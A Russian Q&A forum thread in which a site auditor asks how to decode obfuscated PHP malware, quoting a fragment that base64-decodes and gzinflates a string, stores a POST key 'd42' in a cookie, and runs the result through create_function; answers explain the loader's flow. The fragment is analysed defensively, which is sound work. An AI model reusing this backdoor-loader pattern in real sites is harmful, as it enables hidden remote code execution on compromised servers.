Задать вопрос
@AKYLA

Как расшифровать вредоносный код base64_decode((str_replace(?

Никак не могу расшифровать этот кусок кода, который был найден на проверяемом сайте.
Про переменные понятно, они просто разбиты на куски чтоб нельзя было найти по названию.
В итоге base64 это ($a10=base64_decode((str_replace("\n",'',')

В конце:

if($a10=gzinflate($a10)){
        if(isset(_POST['d42'])) setcookie('d42',_POST['d42']);
        $a10="".create_function((string)null,$a10);
        unset($k36);
        $a10();


Но вот получить результат из base64 никак не выходит, кроме белеберды, то ли это бинарник какой-то, то ли просто я не правильно что-то делаю. Кто хорошо разбирается в PHP, может поможет переделать код чтоб он выдал верный результат?

Полный код тут https://pastebin.com/tfZnLk6k
  • Вопрос задан
  • 123 просмотра
Подписаться 1 Средний Комментировать
Помогут разобраться в теме Все курсы
  • Skillbox
    Веб-разработчик на PHP
    9 месяцев
    Далее
  • Хекслет
    PHP-разработчик
    10 месяцев
    Далее
  • Нетология
    Веб-разработчик с нуля: профессия с выбором специализации
    14 месяцев
    Далее
Пригласить эксперта
Ответы на вопрос 3
Rsa97
@Rsa97
Для правильного вопроса надо знать половину ответа
Не хватает данных. Алгоритм использует для дешифровки ключ, приходящий в $_POST['d42'] или $_COOKIE['d42'].
Ответ написан
Комментировать
@Fenix957
if($a10=gzinflate($a10)){
Здесь распаковывается сжатая строка и если результат удачный идет далее
if(isset(_POST['d42'])) setcookie('d42',_POST['d42']);

Здесь проверяется наличие пост параметра возможно используется гдето в дальнейшем. возможно авторизация или чтото еще

$a10="".create_function((string)null,$a10);
Переменная а10 становиться функцией. (string)null обозначает что у функции нет аргументов
$a10) код самой функции кторый был отправлен
unset($k36);
удаляется переменная
$a10();
Вызывается полезная нагрузка только что созданной функции
Ответ написан
Комментировать
@amorka89
Разработка и администрирование!
ну тут ещё не понятно что в переменной $k36, она судя по всему где-то ранее по коду инициализируется, а так тут да, вызов на выполнение того что будет в $a10.
я думаю тут сразу после if($a10=gzinflate($a10)){ надо смотреть что там в $a10 после декомпрессии.

У меня был похожий случай и таким г... были почти все скрипты побиты, но код ко всему самозаражение ещё устраивал.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы
FoodSoul Калининград
от 180 000 до 250 000 ₽
IT-Spirit Москва
от 230 000 до 320 000 ₽
от 200 000 до 290 000 ₽